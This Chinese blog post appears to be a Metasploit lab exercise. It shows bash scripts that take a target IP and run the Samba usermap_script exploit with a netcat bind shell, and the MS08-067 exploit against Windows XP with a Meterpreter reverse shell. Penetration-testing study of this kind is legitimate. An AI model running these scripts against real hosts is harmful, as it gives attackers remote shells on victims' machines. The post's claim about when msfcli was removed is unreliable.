欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Metasploit使用msfcli命令行接口编写shell脚本程序

程序员文章站 2022-03-24 08:37:04
...

问题描述

  使用msfcli命令行接口编写一个Shell脚本程序,实现用户只需输入目标Linux靶机IP地址作为参数,就可以使用usermap_script漏洞渗透攻击模块,获得靶机的远程Shell访问。

解决办法

  由于2005年时便取消了msfcli,因此使用msfconsole -x来代替msfcli。
  先提供脚本内容如下:

#!/bin/bash  #表示使用Bourne Again Shell的shell类型
echo "Please set remote host(RHOST) IP"
read -p "IP:" IP  #提示用户输入IP并将该值赋值给变量IP
msfconsole -x "use exploit/multi/samba/usermap_script;\set PAYLOAD cmd/unix/bind_netcat;\set RHOST $IP;\set LHOST 192.168.161.128;\set TARGET 34;\exploit"

  将该脚本保存为为“test.sh”,并cd到该脚本文件目录:

chmod +x ./test.sh   #使脚本具有执行权限 chmod -x 删除权限
./test.sh   #执行脚本

  注意,一定要写成 ./test.sh,而不是 test.sh,运行其它二进制的程序也一样,直接写 test.sh,linux 系统会去 PATH 里寻找有没有叫 test.sh 的,而只有 /bin, /sbin, /usr/bin,/usr/sbin 等在 PATH 里,你的当前目录通常不在 PATH 里,所以写成 test.sh 是会找不到命令的,要用 ./test.sh 告诉系统说,就在当前目录找。

  由于笔者在进行该部分实验时没配置其他Linux虚拟机,因此使用了漏洞ms08_067来完成对中文版Windows XP SP3的渗透攻击,此时shell内容更改为:

#!/bin/bash
echo "Please set remote host(RHOST) IP"
read -p "IP:" IP
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;\set PAYLOAD windows/meterpreter/reverse_tcp;\set RHOST $IP;\set LHOST 192.168.161.128;\set TARGET 34;\exploit"

  运行后得到如下结果:
Metasploit使用msfcli命令行接口编写shell脚本程序

解题思路

  首先应该学习Shell脚本的语言规则,再利用该脚本进行编写。在编写msfconsole -x的内容之前,应该首先使用msfconsole将命令运行一遍之后,观察是否成功,再进行命令的Shell编写。

参考资料

《Metasploit魔鬼训练营》第一章实践作业
Shell 教程

相关标签: Metasploit